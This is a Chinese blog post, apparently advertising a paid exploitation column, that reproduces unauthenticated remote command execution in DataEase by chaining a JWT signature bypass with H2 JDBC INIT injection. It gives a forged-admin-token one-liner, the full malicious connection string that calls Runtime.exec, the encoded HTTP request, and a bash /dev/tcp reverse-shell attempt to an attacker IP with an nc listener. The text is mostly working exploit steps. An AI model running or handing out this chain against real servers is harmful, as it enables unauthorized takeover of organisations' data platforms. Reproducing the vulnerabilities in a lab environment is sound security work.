发现假令牌还放行？开发不会是故意的吧？DataEase 双 CVE 组合实现未授权远程命令执行

漏洞利用演示视频点击直达 DataEase双CVE链式 RCE 深度拆解JWT 绕过H2 注入完整攻击链路发生了什么DataEase 是个开源的数据可视化平台很多企业用它搭 BI 仪表盘。2025 年爆出的这个 CVE-2025-32966说的是它的测试数据库连接功能有问题——用户填的数据库连接串服务器想都不想就原样执行了。但单独这个漏洞还需要管理员账号才能利用。真正让它变成未授权 RCE的是另一个 CVE-2025-49001DataEase 的 JWT 校验逻辑有缺陷验出签名是假的之后只写个日志然后——把请求放行了。两个漏洞凑在一起攻击者不需要任何账号自己伪造一张管理员令牌然后在数据库连接串里塞一段 Java 代码服务器就乖乖执行了。我复现的时候一个请求下去服务器上直接以 root 身份创建了文件这还只是touch命令。能执行任意系统命令意味着什么不用我多说了吧。有多严重——POC验证先把完整的利用过程走一遍每一步都有数据包跟着做就能复现。第一步伪造管理员 JWT因为 CVE-2025-49001 的存在服务器验签失败也不拦截所以密钥随便填。用 Python 一行命令生成python -c import jwt,time; print(jwt.encode({uid:1,oid:1,exp:int(time.time())3600}, any-secret, algorithmHS256))几个字段说一下uid: 1DataEase 默认 admin 就是 uid1伪造管理员身份oid: 1组织编号这个字段不能缺缺了后端会报空指针exp过期时间一小时够用any-secret签名密钥随便填——服务器验出来是假的也不拦输出一长串字符就是你的管理员通行证第二步构造恶意 H2 连接串这是漏洞的核心。H2 数据库有个INIT参数表示连接一建立就自动执行里面的 SQL。而 H2 支持CREATE ALIAS注册自定义函数函数体可以直接写 Java 源码H2 会在运行时编译执行。我们用最无害的touch /tmp/pwned来验证jdbc:h2:mem:pwn;MODEMSSQLServer;INITCREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{touch,/tmp/pwned})\; }$$\;CALL EXEC()逐段拆解jdbc:h2:mem:pwn连接一个叫 pwn 的内存数据库用完即弃INIT...连接建立时自动执行的 SQL一切罪恶的入口CREATE ALIAS EXEC AS $$...$$注册一个叫 EXEC 的函数实现是$$里的 Java 源码Runtime.getRuntime().exec(...)执行系统命令new String[]{touch,/tmp/pwned}在服务器上创建一个文件\;转义的分号。因为连接串本身用;分隔参数INIT 里的 SQL 分号必须转义否则会被当成 URL 参数分隔符截断CALL EXEC()调用刚注册的函数触发 Java 代码运行第三步编码并发送把上面的连接串封装成 JSON注意 JSON 里双引号要转义为\\;要写成\\;{jdbc:jdbc:h2:mem:pwn;MODEMSSQLServer;INITCREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\touch\,\/tmp/pwned\})\\; }$$\\;CALL EXEC(),username:,password:,driver:org.h2.Driver}对整段 JSON 做 base64 编码echo -n 上面整段JSON | base64 -w 0然后构造完整 HTTP 请求POST /de2api/datasource/validate HTTP/1.1 Host: {业务目标ip}:8100 Content-Type: application/json X-DE-TOKEN: 第一步伪造的JWT {name:p1,type:h2,configuration:base64编码后的JSON}发送之后你会看到响应是 400——别慌这是正常现象响应头里的DE-GATEWAY-FLAG写着 “The Token’s Signature resulted invalid…”证明服务器验出了假章。但因为 CVE-2025-49001 的缺陷请求被放行了命令已经执行完了。400 只是因为验签失败时抢占了响应输出流后面控制器没法再写干净输出。判断成功与否看副作用不看状态码。进容器验证docker compose exec web ls -la /tmp/pwned文件存在远程命令执行成立。环境怎么搭直接用 Vulhub一行命令docker compose up -d启动后访问http://{业务目标ip}:8100看到 DataEase 登录页就就绪了。本漏洞不需要登录我们自己伪造管理员身份。真正的门槛在哪到这里你已经能在服务器上执行任意命令了。网上关于这个漏洞的教程十篇有九篇就停在这一步——演示个touch、执行个id然后告诉你漏洞复现成功。但真正的门槛是从能执行命令走到拿到交互式 Shell。我第一次复现的时候在这一步卡了整整一下午。最开始用最经典的 bash 反弹bash-i/dev/tcp/{攻击ip}/444401塞进 Java 的exec()里发出去攻击机nc -lvnp 4444开监听等了半天——什么都没有。排查了好一会儿才发现第一个坑这个 Vulhub 镜像里根本没有 bash只有/bin/sh。Java 调用/bin/bash直接报No such file or directory命令启动失败。行换成/bin/sh总行了吧还是不行。第二个坑/dev/tcp是 bash 独有的伪设备特性容器里的 sh 根本不支持这个语法命令执行了但静默失败。而且还有第三个坑Runtime.getRuntime().exec()的数组模式不会解析 shell 重定向符号 |。就算有 bash直接把重定向命令扔给 exec 也会失效。那用 base64 编码绕过重定向符号呢把整条反弹命令 base64 编码交给sh -c echo xxx|base64 -d|bash执行总该绕过重定向的坑了吧结果还是不行——容器里没有 bashbase64 -d|bash这一步直接失败。换成base64 -d|sh呢sh 不支持/dev/tcp解码出来的命令照样弹不回来。到这里我已经试了四种思路touch 文件每次都能成功说明漏洞链路完全通但反弹 Shell 就是拿不到。这种感觉比漏洞利用失败还难受——你知道差一点但就是绕不过去。我甚至开始怀疑是不是网络不通专门用 curl 测了一下容器出网结果完全正常——问题就出在反弹方式本身。中间还踩了一堆编码转义的坑Java 代码里的分号没转义导致 JDBC URL 格式错误、匿名内部类引用可变变量导致 Java 编译失败、base64 编码带隐形换行导致 payload 截断……每一个都能让你卡半天。最后我换了个完全不同的思路才一把梭成功。如果你想走完这条路我把从环境搭建到最终反弹 Shell 的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解以及一个一键利用脚本——都整理在了专栏里。本篇文章完整版详见点击直达【GetShell】DataEase H2 JDBC远程命令执行漏洞CVE-2025-32966CVE-2025-49001点击直达专栏的名字叫高危漏洞深度利用—零基础GetShell的全链路实战指南。核心就是不止于 POC 复现每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍 bash 不存在、sh 不支持 /dev/tcp、exec 不解析重定向的坑可以翻翻。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。POC 复现每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍 bash 不存在、sh 不支持 /dev/tcp、exec 不解析重定向的坑可以翻翻。